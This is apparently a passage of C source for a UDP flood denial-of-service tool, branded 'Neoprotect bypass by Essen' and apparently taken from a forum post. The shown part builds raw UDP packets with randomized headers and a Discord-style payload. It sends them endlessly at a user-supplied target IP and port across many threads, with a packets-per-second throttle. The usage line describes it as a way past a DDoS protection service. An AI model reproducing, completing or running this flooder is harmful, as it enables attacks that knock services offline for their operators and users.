    int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
    if (s < 0)
    {
        fprintf(stderr, "Could not open raw socket.\n");
        exit(-1);
    }
    memset(datagram, 0, MAX_PACKET_SIZE);
    setup_ip_header(iph);
    setup_udp_header(udph);

    iph->daddr = sin.sin_addr.s_addr;
    iph->check = csum((unsigned short *)datagram, iph->tot_len);

    int tmp = 1;
    const int *val = &tmp;
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0)
    {
        fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
        exit(-1);
    }
    init_rand(time(NULL));
    register unsigned int i;
    i = 0;

    while (1)
    {
        char *new_payload = payloadGen(DiscordPayload, NEW_PAYLOAD_SIZE, ORIGINAL_PAYLOAD_SIZE);
        memcpy(payload, new_payload, NEW_PAYLOAD_SIZE);
        free(new_payload);

        iph->id = htonl(ip_id_counter + rand_cmwc());
        iph->saddr = util_external_addr();
        iph->ttl = randnum(64, 255);
        iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + NEW_PAYLOAD_SIZE;
        iph->check = csum((unsigned short *)datagram, iph->tot_len);
        udph->check = 0;
        udph->source = htons(randnum(50000, 64734));
        udph->len = htons(sizeof(struct udphdr) + NEW_PAYLOAD_SIZE);
        iph->check = csum((unsigned short *)datagram, sizeof(struct iphdr));
        udph->check = udp_checksum(iph, udph, NEW_PAYLOAD_SIZE);
        while (1)
        {
           sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin));
           pps++;
        }

        if (i >= limiter)
        {
            i = 0;
            usleep(sleeptime);
        }
        i++;
        ip_id_counter++;
    }
}

int main(int argc, char *argv[])
{
    if (argc < 5)
    {
        fprintf(stderr, "Neoprotect bypass by Essen\n");
        fprintf(stdout, "Usage: %s <target IP> <port> <threads> <pps limiter, -1 for full power> <time> \n", argv[0]);
        exit(-1);
    }

    int num_threads = atoi(argv[3]);
    int maxpps = atoi(argv[4]);
    int duration = atoi(argv[5]);

    floodport = atoi(argv[2]);

    limiter = 0;
    pps = 0;
    pthread_t thread[num_threads];

    int multiplier = 20;

    int i;
    for (i = 0; i < num_threads; i++)
    {
        pthread_create(&thread[i], NULL, &flood, (void *)argv[1]);
    }
    fprintf(stdout, "YEET!\n");
    for (i = 0; i < (duration * multiplier); i++)
    {
        usleep((1000 / multiplier) * 1000);
        if ((pps * multiplier) > maxpps)
        {
            if (1 > limiter)
            {
                sleeptime += 100;
            }
            else
            {
                limiter--;
            }
        }
        else
        {
            limiter++;
            if (sleeptime > 25)
            {
                sleeptime -= 25;
            }
            else
            {
                sleeptime = 0;
            }
        }
        pps = 0;
    }

    return 0;
}
es
 
Geri
En Üst